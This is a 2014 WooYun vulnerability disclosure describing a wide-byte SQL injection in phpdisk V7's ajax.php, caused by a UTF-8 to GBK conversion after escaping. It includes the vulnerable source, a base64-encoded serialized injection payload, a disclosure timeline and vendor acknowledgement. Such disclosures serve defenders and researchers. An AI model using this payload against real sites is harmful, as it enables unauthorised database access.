当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063808

漏洞标题:phpdisk V7 (20140604) 注入一枚 (直接出数据)

相关厂商:phpdisk.com

漏洞作者: ′雨。

提交时间:2014-06-09 12:38

修复时间:2014-09-07 12:40

公开时间:2014-09-07 12:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-09: 细节已通知厂商并且等待厂商处理中
2014-06-10: 厂商已经确认,细节仅向厂商公开
2014-06-13: 细节向第三方安全合作伙伴开放
2014-08-04: 细节向核心白帽子及相关领域专家公开
2014-08-14: 细节向普通白帽子公开
2014-08-24: 细节向实习白帽子公开
2014-09-07: 细节向公众公开

简要描述:

20140604

详细说明:

在ajax.php中

else{
$file = unserialize(base64_decode($data));
/*foreach($file as $k=>$v){
$file[$k] = $db->escape($file[$v]);
}*/
$file[file_id] = (int)$file[file_id];
$file[file_size] = (int)$file[file_size];
$file[file_description] = $db->escape(trim($file[file_description]));
$file[file_extension] = $db->escape(trim($file[file_extension]));
$file[file_name] = $db->escape(trim($file[file_name]));
$num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'");
if($num && $file[file_id]){
$tmp_ext = $file[file_extension] ? '.'.$file[file_extension] : '';
$msg = $file[file_name].$tmp_ext;
}else{
$report_status =0;
$report_arr = explode(',',$settings['report_word']);
if(count($report_arr)){
foreach($report_arr as $value){
if (strpos($file['file_name'],$value) !== false){
$report_status = 2;
}
}
}
$ins = array(
'yun_fid' => $file[file_id],
'file_name' => $file[file_name],
'file_key' => $file_key,
'file_extension' => $file[file_extension],
'file_mime' => 'application/octet-stream',
'file_description' => $file[file_description],
'file_size' => $file['file_size'],
'file_time' => $timestamp,
'is_checked' => $is_checked,
'in_share' => $in_share,
'report_status' => $report_status,
'userid' => $pd_uid,
'folder_id' => $folder_id ? $folder_id : -1,
'ip' => $onlineip,
);
$sql = "insert into {$tpf}files set ".$db->sql_array($ins).";";
$db->query_unbuffered(is_utf8() ? $sql : iconv('utf-8','gbk',$sql));
}


可以看到 都经过了escape 进行了转义。 但是在insert前
is_utf8() ? $sql : iconv('utf-8','gbk',$sql)
当为gbk的时候就会进行一次转换编码的操作 然后造成了宽字节注入。
錦 从UTF8 转成 GBK之后成了 %e5%5c
'转义后为\'
%e5%5c%5c%27 两个\\闭合。单引号出来 造成了注入。
$file[file_description] 这个会直接输出来 。
利用这个点来注入。

漏洞证明:

对构造的语句序列化 和 base64_encode后得到
YToxOntzOjE0OiJmaWxlX2V4dGVuc2lvbiI7czoxOTQ6ImFzZOmMpicsZmlsZV9kZXNjcmlwdGlvbj11c2VyKCksYGZpbGVfbWltZWA9dXNlcigpLGBmaWxlX3NpemVgPXVzZXIoKSwgYGZpbGVfdGltZWA9dXNlcigpLCBgaXNfY2hlY2tlZGA9MSwgYGluX3NoYXJlYD0xLCBgcmVwb3J0X3N0YXR1c2A9dXNlcigpLCBgdXNlcmlkYD11c2VyKCksIGBmb2xkZXJfaWRgPXVzZXIoKSwgYGlwYD11c2VyKCkjIjt9

p6.jpg


然后直接查看这文件

p7.jpg


出现数据。

修复方案:

注意转换编码的安全。

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-06-10 10:40

厂商回复:

感谢反馈

最新状态:

暂无